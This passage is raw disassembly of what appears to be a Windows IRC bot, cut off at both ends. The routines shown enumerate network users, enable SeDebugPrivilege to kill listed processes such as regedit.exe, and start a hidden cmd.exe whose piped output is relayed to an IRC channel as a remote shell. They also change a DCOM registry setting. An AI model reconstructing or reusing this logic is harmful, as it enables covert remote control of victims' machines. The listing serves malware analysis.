[ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 18h loc_41A1EB: ; CODE XREF: sub_41A1AC+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4E3058 cmp eax, esi mov [ebp+var_C], eax jz short loc_41A24C cmp eax, 0EAh jz short loc_41A24C push eax push eax call sub_41A32C pop ecx push eax lea eax, [ebp+Dest] push offset asc_45085C ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 24h jmp short loc_41A2C7 ; --------------------------------------------------------------------------- loc_41A24C: ; CODE XREF: sub_41A1AC+62j ; sub_41A1AC+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41A2DA xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_41A2C7 loc_41A25E: ; CODE XREF: sub_41A1AC+EDj cmp edi, esi jz short loc_41A29D push dword ptr [edi] lea eax, [ebp+Dest] push offset aS_30 ; " %S" push eax ; Dest call _sprintf push 1 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_41A25E jmp short loc_41A2C7 ; --------------------------------------------------------------------------- loc_41A29D: ; CODE XREF: sub_41A1AC+B4j lea eax, [ebp+Dest] push offset asc_450828 ; "-" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 1Ch loc_41A2C7: ; CODE XREF: sub_41A1AC+9Ej ; sub_41A1AC+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41A2DA push edi call dword_4E3188 xor edi, edi mov [ebp+var_4], edi loc_41A2DA: ; CODE XREF: sub_41A1AC+A5j ; sub_41A1AC+120j cmp [ebp+var_C], 0EAh jz loc_41A1EB cmp edi, esi jz short loc_41A2F2 push edi call dword_4E3188 loc_41A2F2: ; CODE XREF: sub_41A1AC+13Dj push [ebp+var_8] lea eax, [ebp+Dest] push offset aTotalUsersFoun ; "Total users found: %d." push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_41A1AC endp ; =============== S U B R O U T I N E ======================================= sub_41A32C proc near ; CODE XREF: sub_419965+41p ; sub_419B5B+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_41A3DE jz loc_41A3D7 cmp eax, 7Bh ja short loc_41A3A3 jz short loc_41A399 cmp eax, 5 jz short loc_41A38F cmp eax, 8 jz short loc_41A385 cmp eax, 32h jz short loc_41A37B cmp eax, 35h jz short loc_41A371 cmp eax, 57h jnz loc_41A42D push offset aInvalidParamet ; "Invalid parameter." jmp loc_41A44E ; --------------------------------------------------------------------------- loc_41A371: ; CODE XREF: sub_41A32C+30j push offset aServerNameNotF ; "Server name not found." jmp loc_41A44E ; --------------------------------------------------------------------------- loc_41A37B: ; CODE XREF: sub_41A32C+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_41A44E ; --------------------------------------------------------------------------- loc_41A385: ; CODE XREF: sub_41A32C+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_41A44E ; --------------------------------------------------------------------------- loc_41A38F: ; CODE XREF: sub_41A32C+21j push offset aAccessDenied_ ; "Access denied." jmp loc_41A44E ; --------------------------------------------------------------------------- loc_41A399: ; CODE XREF: sub_41A32C+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_41A44E ; --------------------------------------------------------------------------- loc_41A3A3: ; CODE XREF: sub_41A32C+1Aj sub eax, 7Ch jz short loc_41A3D0 sub eax, 7C8h jz short loc_41A3C9 dec eax jz short loc_41A3BF dec eax jnz short loc_41A42D push offset aDuplicateShare ; "Duplicate share name." jmp loc_41A44E ; --------------------------------------------------------------------------- loc_41A3BF: ; CODE XREF: sub_41A32C+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_41A44E ; --------------------------------------------------------------------------- loc_41A3C9: ; CODE XREF: sub_41A32C+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A3D0: ; CODE XREF: sub_41A32C+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A3D7: ; CODE XREF: sub_41A32C+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A3DE: ; CODE XREF: sub_41A32C+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41A417 jz short loc_41A410 sub eax, 8ADh jz short loc_41A442 dec eax dec eax jz short loc_41A409 dec eax jz short loc_41A402 dec eax dec eax jnz short loc_41A42D push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A402: ; CODE XREF: sub_41A32C+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A409: ; CODE XREF: sub_41A32C+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A410: ; CODE XREF: sub_41A32C+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_41A32C+B9j sub eax, 8CAh jz short loc_41A449 sub eax, 17h jz short loc_41A442 sub eax, 25h jz short loc_41A43B sub eax, 29h jz short loc_41A434 loc_41A42D: ; CODE XREF: sub_41A32C+35j ; sub_41A32C+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A434: ; CODE XREF: sub_41A32C+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A43B: ; CODE XREF: sub_41A32C+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A442: ; CODE XREF: sub_41A32C+C2j ; sub_41A32C+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_41A44E ; --------------------------------------------------------------------------- loc_41A449: ; CODE XREF: sub_41A32C+F0j push offset aNetworkConnect ; "Network connection not found." loc_41A44E: ; CODE XREF: sub_41A32C+40j ; sub_41A32C+4Aj ... push offset byte_4F2DFC ; Dest call _sprintf pop ecx mov eax, offset byte_4F2DFC pop ecx retn sub_41A32C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A460(char *Source) sub_41A460 proc near ; CODE XREF: sub_401CC7+47FCp Dest = word ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h Source = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h ; MaxCount push [ebp+Source] ; Source lea eax, [ebp+Dest] push eax ; Dest call _mbstowcs add esp, 0Ch lea eax, [ebp+Source] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+Source], esi call ds:dword_4F5394 ; GetComputerNameA lea eax, [ebp+var_108] push esi ; MaxCount push eax ; Source lea eax, [ebp+var_318] push eax ; Dest call _mbstowcs lea eax, [ebp+Dest] push eax ; Str call _wcslen add esp, 10h shl eax, 1 push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4E3108 test eax, eax jnz short loc_41A4F0 mov esi, offset byte_4F2BF8 push offset asc_450B58 ; "-" push esi ; Dest call _sprintf pop ecx pop ecx jmp short loc_41A519 ; --------------------------------------------------------------------------- loc_41A4F0: ; CODE XREF: sub_41A460+7Aj lea ecx, [ebp+Dest] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41A32C pop ecx mov esi, offset byte_4F2BF8 push eax push offset asc_450B80 ; "-" push esi ; Dest call _sprintf add esp, 14h loc_41A519: ; CODE XREF: sub_41A460+8Ej mov eax, esi pop esi leave retn sub_41A460 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A51E proc near ; CODE XREF: sub_417A8B+45p ; sub_417A8B+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_4F53CC ; GetCurrentProcess push eax call dword_4E30DC ; OpenProcessToken test eax, eax jnz short loc_41A53D leave retn ; --------------------------------------------------------------------------- loc_41A53D: ; CODE XREF: sub_41A51E+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4E30B4 ; LookupPrivilegeValueA test eax, eax jz short loc_41A57B cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_41A564 or [ebp+var_8], 2 jmp short loc_41A568 ; --------------------------------------------------------------------------- loc_41A564: ; CODE XREF: sub_41A51E+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41A568: ; CODE XREF: sub_41A51E+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_4E3164 ; AdjustTokenPrivileges mov esi, eax loc_41A57B: ; CODE XREF: sub_41A51E+32j push [ebp+var_4] call ds:dword_4F533C ; CloseHandle mov eax, esi pop esi leave retn sub_41A51E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A589(int,char *Str,int,char *Str2,int,int) sub_41A589 proc near ; CODE XREF: sub_401CC7+79CBp ; sub_41A7CC+74p ... Dest = byte ptr -554h var_354 = dword ptr -354h var_350 = byte ptr -350h var_234 = byte ptr -234h var_130 = dword ptr -130h var_12C = byte ptr -12Ch var_128 = dword ptr -128h Str1 = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h Str2 = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 554h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_4E3118, ebx lea edi, [ebp+var_12C] mov [ebp+var_130], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_350] mov [ebp+var_354], ebx rep stosd jz loc_41A79C cmp dword_4E30FC, ebx jz loc_41A79C cmp dword_4E300C, ebx jz loc_41A79C push 1 push offset aSedebugprivi_1 ; "SeDebugPrivilege" call sub_41A51E pop ecx pop ecx push ebx push 0Fh call dword_4E3118 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_8], edi jz loc_41A78F lea eax, [ebp+var_130] mov [ebp+var_130], 128h push eax push edi call dword_4E30FC ; Process32First mov esi, ds:dword_4F533C test eax, eax jz loc_41A78A lea eax, [ebp+var_130] push eax push edi call dword_4E300C ; Process32Next test eax, eax jz loc_41A78A mov edi, ds:dword_4F5358 mov ebx, 1F0FFFh loc_41A64D: ; CODE XREF: sub_41A589+1F9j xor eax, eax cmp [ebp+arg_10], eax jz short loc_41A6B4 mov [ebp+var_4], offset off_450BB0 loc_41A65B: ; CODE XREF: sub_41A589+F3j mov eax, [ebp+var_4] push dword ptr [eax] lea eax, [ebp+Str1] push eax call ds:dword_4F5458 ; lstrcmpi test eax, eax jz short loc_41A683 add [ebp+var_4], 4 cmp [ebp+var_4], offset aRegedit_exe ; "regedit.exe" jb short loc_41A65B jmp loc_41A770 ; --------------------------------------------------------------------------- loc_41A683: ; CODE XREF: sub_41A589+E6j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess test eax, eax mov [ebp+var_4], eax jz loc_41A770 push 0 push eax call ds:dword_4F53C4 ; TerminateProcess test eax, eax jnz loc_41A770 loc_41A6AA: ; CODE XREF: sub_41A589+1CDj push [ebp+var_4] call esi ; CloseHandle jmp loc_41A770 ; --------------------------------------------------------------------------- loc_41A6B4: ; CODE XREF: sub_41A589+C9j cmp [ebp+Str2], eax jnz loc_41A75B cmp [ebp+Str], eax jz loc_41A770 push [ebp+var_128] push 8 call dword_4E3118 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov [ebp+var_4], eax mov [ebp+var_354], 224h jz short loc_41A71B lea ecx, [ebp+var_354] push ecx push eax call dword_4E2FB8 ; Module32First push [ebp+var_128] test eax, eax jz short loc_41A70D lea eax, [ebp+var_234] push eax push offset aSD_0 ; " %s (%d)" jmp short loc_41A72D ; --------------------------------------------------------------------------- loc_41A70D: ; CODE XREF: sub_41A589+174j lea eax, [ebp+Str1] push eax push offset aSD_1 ; " %s (%d)" jmp short loc_41A72D ; --------------------------------------------------------------------------- loc_41A71B: ; CODE XREF: sub_41A589+15Cj push [ebp+var_128] lea eax, [ebp+Str1] push eax push offset aSD_2 ; " %s (%d)" loc_41A72D: ; CODE XREF: sub_41A589+182j ; sub_41A589+190j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Dest] push 1 ; int push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409D34 add esp, 14h jmp loc_41A6AA ; --------------------------------------------------------------------------- loc_41A75B: ; CODE XREF: sub_41A589+12Ej push [ebp+Str2] ; Str2 lea eax, [ebp+Str1] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_41A7A3 loc_41A770: ; CODE XREF: sub_41A589+F5j ; sub_41A589+10Aj ... lea eax, [ebp+var_130] push eax push [ebp+var_8] call dword_4E300C ; Process32Next test eax, eax jnz loc_41A64D xor ebx, ebx loc_41A78A: ; CODE XREF: sub_41A589+9Dj ; sub_41A589+B3j push [ebp+var_8] call esi ; CloseHandle loc_41A78F: ; CODE XREF: sub_41A589+77j push ebx push offset aSedebugprivi_2 ; "SeDebugPrivilege" call sub_41A51E pop ecx pop ecx loc_41A79C: ; CODE XREF: sub_41A589+3Aj ; sub_41A589+46j ... xor eax, eax loc_41A79E: ; CODE XREF: sub_41A589+241j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A7A3: ; CODE XREF: sub_41A589+1E5j push [ebp+var_128] push 0 push ebx call edi ; OpenProcess push [ebp+var_8] mov edi, eax call esi ; CloseHandle push 0 push edi call ds:dword_4F53C4 ; TerminateProcess test eax, eax jnz short loc_41A7C7 push edi call esi ; CloseHandle jmp short loc_41A79C ; --------------------------------------------------------------------------- loc_41A7C7: ; CODE XREF: sub_41A589+237j push 1 pop eax jmp short loc_41A79E sub_41A589 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A7CC proc near ; DATA XREF: sub_401CC7+26BEo Dest = byte ptr -298h var_98 = dword ptr -98h Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset asc_450DA8 ; "-" rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+Dest] push eax ; Dest call _sprintf xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_41A82B push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_409D34 add esp, 14h loc_41A82B: ; CODE XREF: sub_41A7CC+3Dj push [ebp+var_10] ; int lea eax, [ebp+Str] push esi ; int push esi ; Str2 push [ebp+var_C] ; int push eax ; Str push [ebp+var_98] ; int call sub_41A589 add esp, 18h test eax, eax jnz short loc_41A853 push offset unk_450DC8 jmp short loc_41A858 ; --------------------------------------------------------------------------- loc_41A853: ; CODE XREF: sub_41A7CC+7Ej push offset asc_450DEC ; "-" loc_41A858: ; CODE XREF: sub_41A7CC+85j lea eax, [ebp+Dest] push eax ; Dest call _sprintf cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_41A88B push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_98] ; int call sub_409D34 add esp, 14h loc_41A88B: ; CODE XREF: sub_41A7CC+9Dj lea eax, [ebp+Dest] push eax call sub_415C3F push [ebp+var_14] call sub_40BA72 pop ecx pop ecx push esi call ds:dword_4F53A0 ; ExitThread pop edi pop esi sub_41A7CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A8AA proc near ; CODE XREF: sub_401CC7+7969p ; sub_40B891+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call ds:dword_4F5358 ; OpenProcess mov esi, eax test esi, esi jz short loc_41A8DC push 0 push esi call ds:dword_4F53C4 ; TerminateProcess test eax, eax jnz short loc_41A8DC push esi xor edi, edi call ds:dword_4F533C ; CloseHandle loc_41A8DC: ; CODE XREF: sub_41A8AA+1Aj ; sub_41A8AA+27j mov eax, edi pop edi pop esi retn sub_41A8AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41A8E1 proc near ; DATA XREF: WinMain(x,x,x,x)+3CDo push esi xor esi, esi loc_41A8E4: ; CODE XREF: sub_41A8E1+1Ej push 1 ; int push esi ; int push esi ; Str2 push esi ; int push esi ; Str push esi ; int call sub_41A589 add esp, 18h push dword_450BAC call ds:dword_4F534C ; Sleep jmp short loc_41A8E4 sub_41A8E1 endp ; =============== S U B R O U T I N E ======================================= sub_41A901 proc near ; CODE XREF: sub_41A931+2Ap ; sub_41A969+7Ep ... mov eax, dword_4F3464 push esi mov esi, ds:dword_4F533C cmp eax, 0FFFFFFFFh jz short loc_41A915 push eax call esi ; CloseHandle loc_41A915: ; CODE XREF: sub_41A901+Fj mov eax, dword_4F346C cmp eax, 0FFFFFFFFh jz short loc_41A922 push eax call esi ; CloseHandle loc_41A922: ; CODE XREF: sub_41A901+1Cj mov eax, dword_4F3460 cmp eax, 0FFFFFFFFh jz short loc_41A92F push eax call esi ; CloseHandle loc_41A92F: ; CODE XREF: sub_41A901+29j pop esi retn sub_41A901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A931(char *Str) sub_41A931 proc near ; CODE XREF: sub_401CC7+76ADp ; sub_4167BF+14Ap var_4 = dword ptr -4 Str = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+Str] ; Str call _strlen pop ecx mov [ebp+var_4], eax lea ecx, [ebp+var_4] push 0 push ecx push eax push [ebp+Str] push dword_4F3468 call ds:dword_4F53B4 ; WriteFile test eax, eax jnz short loc_41A964 call sub_41A901 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_41A964: ; CODE XREF: sub_41A931+28j push 1 pop eax leave retn sub_41A931 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A969(int,char *Str1,int) sub_41A969 proc near ; CODE XREF: sub_41A9F0+D3p ; sub_41A9F0+F2p ... Dest = byte ptr -200h arg_0 = dword ptr 8 Str1 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push offset byte_4F34AC ; Str2 push [ebp+Str1] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_41A9AC push 7D0h call ds:dword_4F534C ; Sleep push [ebp+arg_8] lea eax, [ebp+Dest] push [ebp+Str1] push offset aPrivmsgSS_4 ; "PRIVMSG %s :%s\r" push eax ; Dest call _sprintf add esp, 10h jmp short loc_41A9C3 ; --------------------------------------------------------------------------- loc_41A9AC: ; CODE XREF: sub_41A969+1Aj push [ebp+arg_8] lea eax, [ebp+Dest] push offset aS_31 ; "%s" push eax ; Dest call _sprintf add esp, 0Ch loc_41A9C3: ; CODE XREF: sub_41A969+41j lea eax, [ebp+Dest] push 0 push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Dest] push eax push [ebp+arg_0] call dword_4E3148 ; send test eax, eax jg short loc_41A9EC call sub_41A901 loc_41A9EC: ; CODE XREF: sub_41A969+7Cj xor eax, eax leave retn sub_41A969 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A9F0 proc near ; DATA XREF: sub_41AB45+174o Dst = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20Ch push ebx push esi push edi mov esi, 200h xor edi, edi mov ebx, offset byte_4F3470 loc_41AA08: ; CODE XREF: sub_41A9F0+79j ; sub_41A9F0+DBj push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push edi push edi push eax lea eax, [ebp+Dst] push esi push eax push dword_4F3464 call ds:dword_4F5460 ; PeekNamedPipe test eax, eax jz loc_41AAD6 cmp [ebp+var_4], edi jnz short loc_41AA6B lea eax, [ebp+var_8] push eax push dword_4F3460 call ds:dword_4F545C ; GetExitCodeProcess test eax, eax jz short loc_41AA61 cmp [ebp+var_8], 103h jnz loc_41AAFA loc_41AA61: ; CODE XREF: sub_41A9F0+62j push 0Ah call ds:dword_4F534C ; Sleep jmp short loc_41AA08 ; --------------------------------------------------------------------------- loc_41AA6B: ; CODE XREF: sub_41A9F0+4Ej xor eax, eax cmp [ebp+var_4], edi jbe short loc_41AA82 loc_41AA72: ; CODE XREF: sub_41A9F0+90j cmp [ebp+eax+Dst], 0Ah jz short loc_41AAD0 inc eax cmp eax, [ebp+var_4] jb short loc_41AA72 loc_41AA82: ; CODE XREF: sub_41A9F0+80j mov [ebp+var_4], esi loc_41AA85: ; CODE XREF: sub_41A9F0+E4j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+Dst] push eax push dword_4F3464 call ds:dword_4F53BC ; ReadFile test eax, eax jz short loc_41AB22 lea eax, [ebp+Dst] push eax ; int push ebx ; Str1 push dword_4F34A4 ; int call sub_41A969 add esp, 0Ch jmp loc_41AA08 ; --------------------------------------------------------------------------- loc_41AAD0: ; CODE XREF: sub_41A9F0+8Aj inc eax mov [ebp+var_4], eax jmp short loc_41AA85 ; --------------------------------------------------------------------------- loc_41AAD6: ; CODE XREF: sub_41A9F0+45j push offset unk_450E24 ; int push ebx ; Str1 push dword_4F34A4 ; int call sub_41A969 push [ebp+arg_0] call sub_40BA72 add esp, 10h push 1 call ds:dword_4F53A0 ; ExitThread loc_41AAFA: ; CODE XREF: sub_41A9F0+6Bj call sub_41A901 push offset unk_450E54 ; int push ebx ; Str1 push dword_4F34A4 ; int call sub_41A969 push [ebp+arg_0] call sub_40BA72 add esp, 10h push edi call ds:dword_4F53A0 ; ExitThread loc_41AB22: ; CODE XREF: sub_41A9F0+C3j push offset unk_450E7C ; int push ebx ; Str1 push dword_4F34A4 ; int call sub_41A969 push [ebp+arg_0] call sub_40BA72 add esp, 10h push edi call ds:dword_4F53A0 ; ExitThread sub_41A9F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB45 proc near ; CODE XREF: sub_401CC7+24F8p ; sub_4167BF+99p Dest = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h Dst = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push esi push edi call sub_41A901 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe_0 ; "cmd.exe" push esi call dword_4E31B4 ; SearchPathA test eax, eax jz loc_41AC3F lea eax, [ebp+var_1C] mov edi, ds:dword_4F53D0 push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], 1 mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_41AC3F lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_41AC3F mov edi, ds:dword_4F53CC push 3 push esi push esi push offset dword_4F3468 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call ds:dword_4F53C8 ; DuplicateHandle test eax, eax jz short loc_41AC3F push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset push 44h lea eax, [ebp+var_74] pop edi push edi ; Size push esi ; Val push eax ; Dst call _memset mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+Dst] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push 1 push esi push esi lea eax, [ebp+var_178] push offset dword_4F34B0 push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call ds:dword_4F5340 ; CreateProcessA test eax, eax jnz short loc_41AC47 loc_41AC3F: ; CODE XREF: sub_41AB45+2Ej ; sub_41AB45+5Cj ... or eax, 0FFFFFFFFh jmp loc_41ACF9 ; --------------------------------------------------------------------------- loc_41AC47: ; CODE XREF: sub_41AB45+F8j push [ebp+var_4] mov edi, ds:dword_4F533C call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4F3464, eax mov eax, [ebp+var_8] mov dword_4F346C, eax mov eax, [ebp+Dst] mov dword_4F3460, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4F34A4, eax jz short loc_41AC81 push [ebp+arg_4] jmp short loc_41AC86 ; --------------------------------------------------------------------------- loc_41AC81: ; CODE XREF: sub_41AB45+135j push offset byte_4F34B4 ; Format loc_41AC86: ; CODE XREF: sub_41AB45+13Aj push offset byte_4F3470 ; Dest call _sprintf pop ecx pop ecx push esi ; int push 0Ah ; int push offset asc_450EB4 ; "-" call sub_40B756 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_456020[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A9F0 push esi push esi call ds:dword_4F5350 ; CreateThread cmp eax, esi mov dword_45602C[edi], eax jnz short loc_41ACF7 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax lea eax, [ebp+Dest] push offset asc_450ED8 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_415C3F add esp, 10h loc_41ACF7: ; CODE XREF: sub_41AB45+189j xor eax, eax loc_41ACF9: ; CODE XREF: sub_41AB45+FDj pop edi pop esi leave retn sub_41AB45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACFD proc near ; DATA XREF: sub_401CC7+2DFCo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41AD44 call sub_41AD5D jmp short loc_41AD49 ; --------------------------------------------------------------------------- loc_41AD44: ; CODE XREF: sub_41ACFD+3Ej call sub_41B081 loc_41AD49: ; CODE XREF: sub_41ACFD+45j add esp, 10h push [ebp+var_14] call sub_40BA72 pop ecx push 0 call ds:dword_4F53A0 ; ExitThread sub_41ACFD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD5D proc near ; CODE XREF: sub_41ACFD+40p Dest = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch Str = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4E31C8, edi jnz loc_41AE8F lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4E3168 ; RegOpenKeyExA test eax, eax jnz short loc_41ADE8 mov ax, word_450F50 mov word ptr [ebp+Str+2], ax lea eax, [ebp+Str+2] push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+Str+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4E311C ; RegSetValueExA test eax, eax jz short loc_41ADCA push offset dword_450F60 jmp short loc_41ADCF ; --------------------------------------------------------------------------- loc_41ADCA: ; CODE XREF: sub_41AD5D+64j push offset 